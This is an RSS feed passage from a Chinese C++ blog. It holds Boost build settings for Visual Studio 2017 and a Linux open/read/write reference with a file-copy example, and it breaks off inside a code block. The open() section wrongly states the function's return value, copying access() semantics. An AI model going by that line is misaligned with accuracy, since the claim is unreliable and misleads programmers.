﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>C++博客-Dark Angle-随笔分类-c++</title><link>http://cppblog.com/niewenlong/category/4505.html</link><description /><language>zh-cn</language><lastBuildDate>Fri, 18 Aug 2017 19:31:07 GMT</lastBuildDate><pubDate>Fri, 18 Aug 2017 19:31:07 GMT</pubDate><ttl>60</ttl><item><title>VS2017 install Boost</title><link>http://www.cppblog.com/niewenlong/archive/2017/08/17/215165.html</link><dc:creator>聂文龙</dc:creator><author>聂文龙</author><pubDate>Thu, 17 Aug 2017 09:57:00 GMT</pubDate><guid>http://www.cppblog.com/niewenlong/archive/2017/08/17/215165.html</guid><wfw:comment>http://www.cppblog.com/niewenlong/comments/215165.html</wfw:comment><comments>http://www.cppblog.com/niewenlong/archive/2017/08/17/215165.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/niewenlong/comments/commentRss/215165.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/niewenlong/services/trackbacks/215165.html</trackback:ping><description><![CDATA[<div>
<div>x64:</div>
<div>project-config.jam &nbsp;===&gt;</div>
<div>--------------------------------------------</div>
<div>import option ;&nbsp;</div>
<div>&nbsp;</div>
<div>using msvc :14.0 : "C:\\Program Files (x86)\\Microsoft Visual Studio\\2017\\Enterprise\\VC\\Tools\\MSVC\\14.10.25017\\bin\\HostX64\\x64\\cl.exe" ;</div>
<div>&nbsp;</div>
<div>option.set keep-going : false ;&nbsp;</div>
<div>--------------------------------------------</div>
<div><br />
</div>
<div>b2.exe stage --toolset=msvc-14.0 architecture=x86 address-model=64 --stagedir="C:\boost\bin1.64.0\VC14.0-x64" threading=multi --build-type=complete --build-dir="C:\boost\boost_1_64_0\build\x64"</div>
<div><br />
</div>
<div><br />
</div>
<div><br />
</div>
<div>x86:</div>
<div>--------------------------------------------</div>
<div>import option ;&nbsp;</div>
<div><br />
</div>
<div>using msvc :14.0 : "C:\\Program Files (x86)\\Microsoft Visual Studio\\2017\\Enterprise\\VC\\Tools\\MSVC\\14.10.25017\\bin\\HostX86\\x86\\cl.exe" ;</div>
<div>&nbsp;</div>
<div>option.set keep-going : false ;&nbsp;</div>
<div>--------------------------------------------</div>
<div><br />
</div>
<div>b2.exe stage --toolset=msvc-14.0 --stagedir="C:\boost\bin1.64.0\VC14.0-x86" threading=multi --build-type=complete --build-dir="C:\boost\boost_1_64_0\build\x86"</div>
</div>
@import url(http://www.cppblog.com/CuteSoft_Client/CuteEditor/Load.ashx?type=style&file=SyntaxHighlighter.css);@import url(/css/cuteeditor.css);<img src ="http://www.cppblog.com/niewenlong/aggbug/215165.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/niewenlong/" target="_blank">聂文龙</a> 2017-08-17 17:57 <a href="http://www.cppblog.com/niewenlong/archive/2017/08/17/215165.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>linux c学习笔记----文件的创建与读写(open,read,write) </title><link>http://www.cppblog.com/niewenlong/archive/2015/05/03/Linux_open_read_write.html</link><dc:creator>聂文龙</dc:creator><author>聂文龙</author><pubDate>Sun, 03 May 2015 15:35:00 GMT</pubDate><guid>http://www.cppblog.com/niewenlong/archive/2015/05/03/Linux_open_read_write.html</guid><wfw:comment>http://www.cppblog.com/niewenlong/comments/210534.html</wfw:comment><comments>http://www.cppblog.com/niewenlong/archive/2015/05/03/Linux_open_read_write.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/niewenlong/comments/commentRss/210534.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/niewenlong/services/trackbacks/210534.html</trackback:ping><description><![CDATA[<div><p><strong><span style="font-size: medium;">open(打开文件)</span></strong></p><p>&nbsp;</p><table width="100%" border="0"><tbody><tr><td width="80"><div>相关函数 </div></td><td>read，write，fcntl，close，link，stat，umask，unlink，fopen<br /></td></tr><tr><td width="80"><div>表头文件 </div></td><td>#include&lt;sys/types.h&gt;<br />#include&lt;sys/stat.h&gt;<br />#include&lt;fcntl.h&gt;<br /></td></tr><tr><td width="80"><div>定义函数 </div></td><td>int open( const char * pathname, int flags);<br />int  open( const char * pathname,int flags, mode_t mode);<br /></td></tr><tr><td width="80"><div>函数说明 </div></td><td>参数pathname 指向欲打开的文件路径字符串。下列是参数flags  所能使用的旗标:<br />O_RDONLY 以只读方式打开文件<br />O_WRONLY 以只写方式打开文件<br />O_RDWR  以可读写方式打开文件。上述三种旗标是互斥的，也就是不可同时使用，但可与下列的旗标利用OR(|)运算符组合。<br />O_CREAT  若欲打开的文件不存在则自动建立该文件。<br />O_EXCL 如果O_CREAT  也被设置，此指令会去检查文件是否存在。文件若不存在则建立该文件，否则将导致打开文件错误。此外，若O_CREAT与O_EXCL同时设置，并且欲打开的文件为符号连接，则会打开文件失败。<br />O_NOCTTY  如果欲打开的文件为终端机设备时，则不会将该终端机当成进程控制终端机。<br />O_TRUNC  若文件存在并且以可写的方式打开时，此旗标会令文件长度清为0，而原来存于该文件的资料也会消失。<br />O_APPEND  当读写文件时会从文件尾开始移动，也就是所写入的数据会以附加的方式加入到文件后面。<br />O_NONBLOCK  以不可阻断的方式打开文件，也就是无论有无数据读取或等待，都会立即返回进程之中。<br />O_NDELAY 同O_NONBLOCK。<br />O_SYNC  以同步的方式打开文件。<br />O_NOFOLLOW 如果参数pathname 所指的文件为一符号连接，则会令打开文件失败。<br />O_DIRECTORY  如果参数pathname 所指的文件并非为一目录，则会令打开文件失败。<br />此为Linux2.2以后特有的旗标，以避免一些系统安全问题。参数mode  则有下列数种组合，只有在建立新文件时才会生效，此外真正建文件时的权限会受到umask值所影响，因此该文件权限应该为（mode-umaks）。<br />S_IRWXU00700  权限，代表该文件所有者具有可读、可写及可执行的权限。<br />S_IRUSR  或S_IREAD，00400权限，代表该文件所有者具有可读取的权限。<br />S_IWUSR 或S_IWRITE，00200  权限，代表该文件所有者具有可写入的权限。<br />S_IXUSR 或S_IEXEC，00100 权限，代表该文件所有者具有可执行的权限。<br />S_IRWXG  00070权限，代表该文件用户组具有可读、可写及可执行的权限。<br />S_IRGRP 00040 权限，代表该文件用户组具有可读的权限。<br />S_IWGRP  00020权限，代表该文件用户组具有可写入的权限。<br />S_IXGRP 00010 权限，代表该文件用户组具有可执行的权限。<br />S_IRWXO  00007权限，代表其他用户具有可读、可写及可执行的权限。<br />S_IROTH 00004 权限，代表其他用户具有可读的权限<br />S_IWOTH  00002权限，代表其他用户具有可写入的权限。<br />S_IXOTH 00001 权限，代表其他用户具有可执行的权限。<br /></td></tr><tr><td width="80"><div>返回值 </div></td><td>若所有欲核查的权限都通过了检查则返回0  值，表示成功，只要有一个权限被禁止则返回-1。<br /></td></tr><tr><td width="80"><div>错误代码 </div></td><td>EEXIST 参数pathname  所指的文件已存在，却使用了O_CREAT和O_EXCL旗标。<br />EACCESS 参数pathname所指的文件不符合所要求测试的权限。<br />EROFS  欲测试写入权限的文件存在于只读文件系统内。<br />EFAULT 参数pathname指针超出可存取内存空间。<br />EINVAL 参数mode  不正确。<br />ENAMETOOLONG 参数pathname太长。<br />ENOTDIR 参数pathname不是目录。<br />ENOMEM  核心内存不足。<br />ELOOP 参数pathname有过多符号连接问题。<br />EIO I/O 存取错误。<br /></td></tr><tr><td width="80"><div>附加说明 </div></td><td>使用access()作用户认证方面的判断要特别小心，例如在access()后再作open()空文件可能会造成系统安全上的问题。<br /></td></tr><tr><td width="80"><div>范例 </div></td><td>#include&lt;unistd.h&gt;<br />#include&lt;sys/types.h&gt;<br />#include&lt;sys/stat.h&gt;<br />#include&lt;fcntl.h&gt;<br />main()<br />{<br />int  fd,size;<br />char s [ ]=&#8221;Linux  Programmer!\n&#8221;,buffer[80];<br />fd=open(&#8220;/tmp/temp&#8221;,O_WRONLY|O_CREAT);<br />write(fd,s,sizeof(s));<br />close(fd);<br />fd=open(&#8220;/tmp/temp&#8221;,O_RDONLY);<br />size=read(fd,buffer,sizeof(buffer));<br />close(fd);<br />printf(&#8220;%s&#8221;,buffer);<br />}<br /></td></tr><tr><td width="80"><div>执行 </div></td><td>Linux Programmer!<br /></td></tr></tbody></table><p>&nbsp;</p><p><strong><span style="font-size: medium;">read（由已打开的文件读取数据）</span></strong> </p><p>&nbsp;</p><table width="100%" border="0"><tbody><tr><td><br /></td></tr><tr><td width="80"><div>相关函数 </div></td><td>readdir，write，fcntl，close，lseek，readlink，fread<br /></td></tr><tr><td width="80"><div>表头文件 </div></td><td>#include&lt;unistd.h&gt;<br /></td></tr><tr><td width="80"><div>定义函数 </div></td><td>ssize_t read(int fd,void * buf ,size_t  count);<br /></td></tr><tr><td width="80"><div>函数说明 </div></td><td>read()会把参数fd  所指的文件传送count个字节到buf指针所指的内存中。若参数count为0，则read()不会有作用并返回0。返回值为实际读取到的字节数，如果返回0，表示已到达文件尾或是无可读取的数据，此外文件读写位置会随读取到的字节移动。<br /></td></tr><tr><td width="80"><div>附加说明 </div></td><td>如果顺利read()会返回实际读到的字节数，最好能将返回值与参数count  作比较，若返回的字节数比要求读取的字节数少，则有可能读到了文件尾、从管道(pipe)或终端机读取，或者是read()被信号中断了读取动作。当有错误发生时则返回-1，错误代码存入errno中，而文件读写位置则无法预期。<br /></td></tr><tr><td width="80"><div>错误代码 </div></td><td>EINTR 此调用被信号所中断。<br />EAGAIN 当使用不可阻断I/O  时（O_NONBLOCK），若无数据可读取则返回此值。<br />EBADF 参数fd  非有效的文件描述词，或该文件已关闭。<br /></td></tr><tr><td width="80"><div>范例 </div></td><td>参考open（）。<br /></td></tr></tbody></table><p>&nbsp;</p><p><strong><span style="font-size: medium;">write（将数据写入已打开的文件内）</span></strong></p><p>&nbsp;</p><p>&nbsp;</p><table width="100%" border="0"><tbody><tr><td width="80"><div>相关函数 </div></td><td>open，read，fcntl，close，lseek，sync，fsync，fwrite<br /></td></tr><tr><td width="80"><div>表头文件 </div></td><td>#include&lt;unistd.h&gt;<br /></td></tr><tr><td width="80"><div>定义函数 </div></td><td>ssize_t write (int fd,const void * buf,size_t  count);<br /></td></tr><tr><td width="80"><div>函数说明 </div></td><td>write()会把参数buf所指的内存写入count个字节到参数fd所指的文件内。当然，文件读写位置也会随之移动。<br /></td></tr><tr><td width="80"><div>返回值 </div></td><td>如果顺利write()会返回实际写入的字节数。当有错误发生时则返回-1，错误代码存入errno中。<br /></td></tr><tr><td width="80"><div>错误代码 </div></td><td>EINTR 此调用被信号所中断。<br />EAGAIN 当使用不可阻断I/O  时（O_NONBLOCK），若无数据可读取则返回此值。<br />EADF 参数fd非有效的文件描述词，或该文件已关闭。<br /></td></tr><tr><td width="80"><div>范例 </div></td><td>请参考open（）。<br /></td></tr></tbody></table><p>&nbsp;</p><p>&nbsp;</p><p>拷贝文件实例：</p></div><div style="padding: 4px 5px 4px 4px; border: 1px solid #cccccc; border-image: none; width: 98%; font-size: 13px; word-break: break-all; background-color: #eeeeee;"><!--<br /><br />Code highlighting produced by Actipro CodeHighlighter (freeware)<br />http://www.CodeHighlighter.com/<br /><br />--><span style="color: #008080;">&nbsp;1</span>&nbsp;<span style="color: #000000;">#include&nbsp;</span><span style="color: #000000;">&lt;</span><span style="color: #000000;">unistd.h</span><span style="color: #000000;">&gt;</span><span style="color: #000000;"><br /></span><span style="color: #008080;">&nbsp;2</span>&nbsp;<span style="color: #000000;">#include&nbsp;</span><span style="color: #000000;">&lt;</span><span style="color: #000000;">fcntl.h</span><span style="color: #000000;">&gt;</span><span style="color: #000000;"><br /></span><span style="color: #008080;">&nbsp;3</span>&nbsp;<span style="color: #000000;">#include&nbsp;</span><span style="color: #000000;">&lt;</span><span style="color: #000000;">stdio.h</span><span style="color: #000000;">&gt;</span><span style="color: #000000;"><br /></span><span style="color: #008080;">&nbsp;4</span>&nbsp;<span style="color: #000000;">#include&nbsp;</span><span style="color: #000000;">&lt;</span><span style="color: #000000;">sys</span><span style="color: #000000;">/</span><span style="color: #000000;">types.h</span><span style="color: #000000;">&gt;</span><span style="color: #000000;"><br /></span><span style="color: #008080;">&nbsp;5</span>&nbsp;<span style="color: #000000;">#include&nbsp;</span><span style="color: #000000;">&lt;</span><span style="color: #000000;">sys</span><span style="color: #000000;">/</span><span style="color: #000000;">stat.h</span><span style="color: #000000;">&gt;</span><span style="color: #000000;"><br /></span><span style="color: #008080;">&nbsp;6</span>&nbsp;<span style="color: #000000;">#include&nbsp;</span><span style="color: #000000;">&lt;</span><span style="color: #000000;">errno.h</span><span style="color: #000000;">&gt;</span><span style="color: #000000;"><br /></span><span style="color: #008080;">&nbsp;7</span>&nbsp;<span style="color: #000000;">#include&nbsp;</span><span style="color: #000000;">&lt;</span><span style="color: #0000ff;">string</span><span style="color: #000000;">.h</span><span style="color: #000000;">&gt;</span><span style="color: #000000;"><br /></span><span style="color: #008080;">&nbsp;8</span>&nbsp;<span style="color: #000000;"></span><span style="color: #0000ff;">#define</span><span style="color: #000000;">&nbsp;BUFFER_SIZE&nbsp;1024</span><span style="color: #000000;"><br /></span><span style="color: #008080;">&nbsp;9</span>&nbsp;<span style="color: #000000;"><br /></span><span style="color: #008080;">10</span>&nbsp;<span style="color: #000000;"></span><span style="color: #0000ff;">int</span><span style="color: #000000;">&nbsp;main(</span><span style="color: #0000ff;">int</span><span style="color: #000000;">&nbsp;argc,&nbsp;</span><span style="color: #0000ff;">char</span><span style="color: #000000;">&nbsp;</span><span style="color: #000000;">**</span><span style="color: #000000;">argv)&nbsp;{<br /></span><span style="color: #008080;">11</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">int</span><span style="color: #000000;">&nbsp;from_fd,&nbsp;to_fd;<br /></span><span style="color: #008080;">12</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">int</span><span style="color: #000000;">&nbsp;bytes_read,&nbsp;bytes_write;<br /></span><span style="color: #008080;">13</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">char</span><span style="color: #000000;">&nbsp;buffer[BUFFER_SIZE];<br /></span><span style="color: #008080;">14</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">char</span><span style="color: #000000;">&nbsp;</span><span style="color: #000000;">*</span><span style="color: #000000;">ptr;<br /></span><span style="color: #008080;">15</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">if</span><span style="color: #000000;">&nbsp;(argc&nbsp;</span><span style="color: #000000;">!=</span><span style="color: #000000;">&nbsp;</span><span style="color: #000000;">3</span><span style="color: #000000;">)&nbsp;{<br /></span><span style="color: #008080;">16</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fprintf(stderr,&nbsp;</span><span style="color: #000000;">"</span><span style="color: #000000;">Usage：%s&nbsp;fromfile&nbsp;tofile\n\a</span><span style="color: #000000;">"</span><span style="color: #000000;">,&nbsp;argv[</span><span style="color: #000000;">0</span><span style="color: #000000;">]);<br /></span><span style="color: #008080;">17</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit(</span><span style="color: #000000;">1</span><span style="color: #000000;">);<br /></span><span style="color: #008080;">18</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;}<br /></span><span style="color: #008080;">19</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #008000;">/*</span><span style="color: #008000;">&nbsp;打开源文件&nbsp;</span><span style="color: #008000;">*/</span><span style="color: #000000;"><br /></span><span style="color: #008080;">20</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">if</span><span style="color: #000000;">&nbsp;((from_fd&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;open(argv[</span><span style="color: #000000;">1</span><span style="color: #000000;">],&nbsp;O_RDONLY))&nbsp;</span><span style="color: #000000;">==</span><span style="color: #000000;">&nbsp;</span><span style="color: #000000;">-</span><span style="color: #000000;">1</span><span style="color: #000000;">)&nbsp;{<br /></span><span style="color: #008080;">21</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fprintf(stderr,&nbsp;</span><span style="color: #000000;">"</span><span style="color: #000000;">Open&nbsp;%s&nbsp;Error：%s\n</span><span style="color: #000000;">"</span><span style="color: #000000;">,&nbsp;argv[</span><span style="color: #000000;">1</span><span style="color: #000000;">],&nbsp;strerror(errno));<br /></span><span style="color: #008080;">22</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit(</span><span style="color: #000000;">1</span><span style="color: #000000;">);<br /></span><span style="color: #008080;">23</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;}<br /></span><span style="color: #008080;">24</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #008000;">/*</span><span style="color: #008000;">&nbsp;创建目的文件&nbsp;</span><span style="color: #008000;">*/</span><span style="color: #000000;"><br /></span><span style="color: #008080;">25</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">if</span><span style="color: #000000;">&nbsp;((to_fd&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;open(argv[</span><span style="color: #000000;">2</span><span style="color: #000000;">],&nbsp;O_WRONLY&nbsp;</span><span style="color: #000000;">|</span><span style="color: #000000;">&nbsp;O_CREAT,&nbsp;S_IRUSR&nbsp;</span><span style="color: #000000;">|</span><span style="color: #000000;">&nbsp;S_IWUSR))&nbsp;</span><span style="color: #000000;">==</span><span style="color: #000000;">&nbsp;</span><span style="color: #000000;">-</span><span style="color: #000000;">1</span><span style="color: #000000;">)&nbsp;{<br /></span><span style="color: #008080;">26</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fprintf(stderr,&nbsp;</span><span style="color: #000000;">"</span><span style="color: #000000;">Open&nbsp;%s&nbsp;Error：%s\n</span><span style="color: #000000;">"</span><span style="color: #000000;">,&nbsp;argv[</span><span style="color: #000000;">2</span><span style="color: #000000;">],&nbsp;strerror(errno));<br /></span><span style="color: #008080;">27</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit(</span><span style="color: #000000;">1</span><span style="color: #000000;">);<br /></span><span style="color: #008080;">28</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;}<br /></span><span style="color: #008080;">29</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #008000;">/*</span><span style="color: #008000;">&nbsp;以下代码是一个经典的拷贝文件的代码&nbsp;</span><span style="color: #008000;">*/</span><span style="color: #000000;"><br /></span><span style="color: #008080;">30</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">while</span><span style="color: #000000;">&nbsp;(bytes_read&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;read(from_fd,&nbsp;buffer,&nbsp;BUFFER_SIZE))&nbsp;{<br /></span><span style="color: #008080;">31</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #008000;">/*</span><span style="color: #008000;">&nbsp;一个致命的错误发生了&nbsp;</span><span style="color: #008000;">*/</span><span style="color: #000000;"><br /></span><span style="color: #008080;">32</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">if</span><span style="color: #000000;">&nbsp;((bytes_read&nbsp;</span><span style="color: #000000;">==</span><span style="color: #000000;">&nbsp;</span><span style="color: #000000;">-</span><span style="color: #000000;">1</span><span style="color: #000000;">)&nbsp;</span><span style="color: #000000;">&amp;&amp;</span><span style="color: #000000;">&nbsp;(errno&nbsp;</span><span style="color: #000000;">!=</span><span style="color: #000000;">&nbsp;EINTR))&nbsp;</span><span style="color: #0000ff;">break</span><span style="color: #000000;">;<br /></span><span style="color: #008080;">33</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">else</span><span style="color: #000000;">&nbsp;</span><span style="color: #0000ff;">if</span><span style="color: #000000;">&nbsp;(bytes_read&nbsp;</span><span style="color: #000000;">&gt;</span><span style="color: #000000;">&nbsp;</span><span style="color: #000000;">0</span><span style="color: #000000;">)&nbsp;{<br /></span><span style="color: #008080;">34</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ptr&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;buffer;<br /></span><span style="color: #008080;">35</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">while</span><span style="color: #000000;">&nbsp;(bytes_write&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;write(to_fd,&nbsp;ptr,&nbsp;bytes_read))&nbsp;{<br /></span><span style="color: #008080;">36</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #008000;">/*</span><span style="color: #008000;">&nbsp;一个致命错误发生了&nbsp;</span><span style="color: #008000;">*/</span><span style="color: #000000;"><br /></span><span style="color: #008080;">37</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">if</span><span style="color: #000000;">&nbsp;((bytes_write&nbsp;</span><span style="color: #000000;">==</span><span style="color: #000000;">&nbsp;</span><span style="color: #000000;">-</span><span style="color: #000000;">1</span><span style="color: #000000;">)&nbsp;</span><span style="color: #000000;">&amp;&amp;</span><span style="color: #000000;">&nbsp;(errno&nbsp;</span><span style="color: #000000;">!=</span><span style="color: #000000;">&nbsp;EINTR))</span><span style="color: #0000ff;">break</span><span style="color: #000000;">;<br /></span><span style="color: #008080;">38</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #008000;">/*</span><span style="color: #008000;">&nbsp;写完了所有读的字节&nbsp;</span><span style="color: #008000;">*/</span><span style="color: #000000;"><br /></span><span style="color: #008080;">39</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">else</span><span style="color: #000000;">&nbsp;</span><span style="color: #0000ff;">if</span><span style="color: #000000;">&nbsp;(bytes_write&nbsp;</span><span style="color: #000000;">==</span><span style="color: #000000;">&nbsp;bytes_read)&nbsp;</span><span style="color: #0000ff;">break</span><span style="color: #000000;">;<br /></span><span style="color: #008080;">40</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #008000;">/*</span><span style="color: #008000;">&nbsp;只写了一部分,继续写&nbsp;</span><span style="color: #008000;">*/</span><span style="color: #000000;"><br /></span><span style="color: #008080;">41</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">else</span><span style="color: #000000;">&nbsp;</span><span style="color: #0000ff;">if</span><span style="color: #000000;">&nbsp;(bytes_write&nbsp;</span><span style="color: #000000;">&gt;</span><span style="color: #000000;">&nbsp;</span><span style="color: #000000;">0</span><span style="color: #000000;">)&nbsp;{<br /></span><span style="color: #008080;">42</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ptr&nbsp;</span><span style="color: #000000;">+=</span><span style="color: #000000;">&nbsp;bytes_write;<br /></span><span style="color: #008080;">43</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;bytes_read&nbsp;</span><span style="color: #000000;">-=</span><span style="color: #000000;">&nbsp;bytes_write;<br /></span><span style="color: #008080;">44</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /></span><span style="color: #008080;">45</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /></span><span style="color: #008080;">46</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #008000;">/*</span><span style="color: #008000;">&nbsp;写的时候发生的致命错误&nbsp;</span><span style="color: #008000;">*/</span><span style="color: #000000;"><br /></span><span style="color: #008080;">47</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">if</span><span style="color: #000000;">&nbsp;(bytes_write&nbsp;</span><span style="color: #000000;">==</span><span style="color: #000000;">&nbsp;</span><span style="color: #000000;">-</span><span style="color: #000000;">1</span><span style="color: #000000;">)</span><span style="color: #0000ff;">break</span><span style="color: #000000;">;<br /></span><span style="color: #008080;">48</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /></span><span style="color: #008080;">49</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;}<br /></span><span style="color: #008080;">50</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;close(from_fd);<br /></span><span style="color: #008080;">51</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;close(to_fd);<br /></span><span style="color: #008080;">52</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;exit(</span><span style="color: #000000;">0</span><span style="color: #000000;">);<br /></span><span style="color: #008080;">53</span>&nbsp;<span style="color: #000000;">}<br /></span><span style="color: #008080;">54</span>&nbsp;<span style="color: #000000;"></span></div><br /><div style="padding: 4px 5px 4px 4px; border: 1px solid #cccccc; border-image: none; width: 98%; font-size: 13px; word-break: break-all; background-color: #eeeeee;"><!--<br /><br />Code highlighting produced by Actipro CodeHighlighter (freeware)<br />http://www.CodeHighlighter.com/<br /><br />--><span style="color: #000000;">#include&nbsp;</span><span style="color: #000000;">&lt;</span><span style="color: #000000;">unistd.h</span><span style="color: #000000;">&gt;</span><span style="color: #000000;"><br />#include&nbsp;</span><span style="color: #000000;">&lt;</span><span style="color: #000000;">fcntl.h</span><span style="color: #000000;">&gt;</span><span style="color: #000000;"><br />#include&nbsp;</span><span style="color: #000000;">&lt;</span><span style="color: #000000;">stdio.h</span><span style="color: #000000;">&gt;</span><span style="color: #000000;"><br />#include&nbsp;</span><span style="color: #000000;">&lt;</span><span style="color: #000000;">sys</span><span style="color: #000000;">/</span><span style="color: #000000;">types.h</span><span style="color: #000000;">&gt;</span><span style="color: #000000;"><br />#include&nbsp;</span><span style="color: #000000;">&lt;</span><span style="color: #000000;">sys</span><span style="color: #000000;">/</span><span style="color: #000000;">stat.h</span><span style="color: #000000;">&gt;</span><span style="color: #000000;"><br />#include&nbsp;</span><span style="color: #000000;">&lt;</span><span style="color: #000000;">errno.h</span><span style="color: #000000;">&gt;</span><span style="color: #000000;"><br 